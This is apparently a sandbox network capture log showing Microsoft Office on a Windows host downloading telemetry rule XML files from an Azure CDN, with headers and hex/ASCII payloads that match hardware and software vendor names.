DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:40 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074340Z-r1cf579d778x776bhC1EWRdk8000000001s0000000002bb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074340Z-r1cf579d7789trgthC1EWRkkfc00000002h000000000075g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:40 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074340Z-r1cf579d778v97q7hC1EWRf95c00000001e00000000010te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074340Z-r1cf579d77867vg8hC1EWR8knc00000001q0000000000u46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:40 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074340Z-r1cf579d7782ctslhC1EWRfbrw0000000240000000004k1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:41 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:42 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074342Z-r1cf579d778z4wflhC1EWRa3h000000001qg000000004ed8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:42 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:42 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074342Z-r1cf579d7788pwqzhC1EWRrpd800000001x0000000004nzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:43 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074342Z-r1cf579d7786c2tshC1EWRr1gc00000001g00000000005e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:43:43 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074342Z-r1cf579d77898tqwhC1EWRf9q800000001t0000000002x2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074342Z-r1cf579d778dndrdhC1EWR4b2400000001b0000000003ef7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074344Z-r1cf579d778mvsklhC1EWRkavg00000002400000000000g0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:45 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:45 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074345Z-r1cf579d778t6txphC1EWRsd44000000027g000000002eyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:45 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 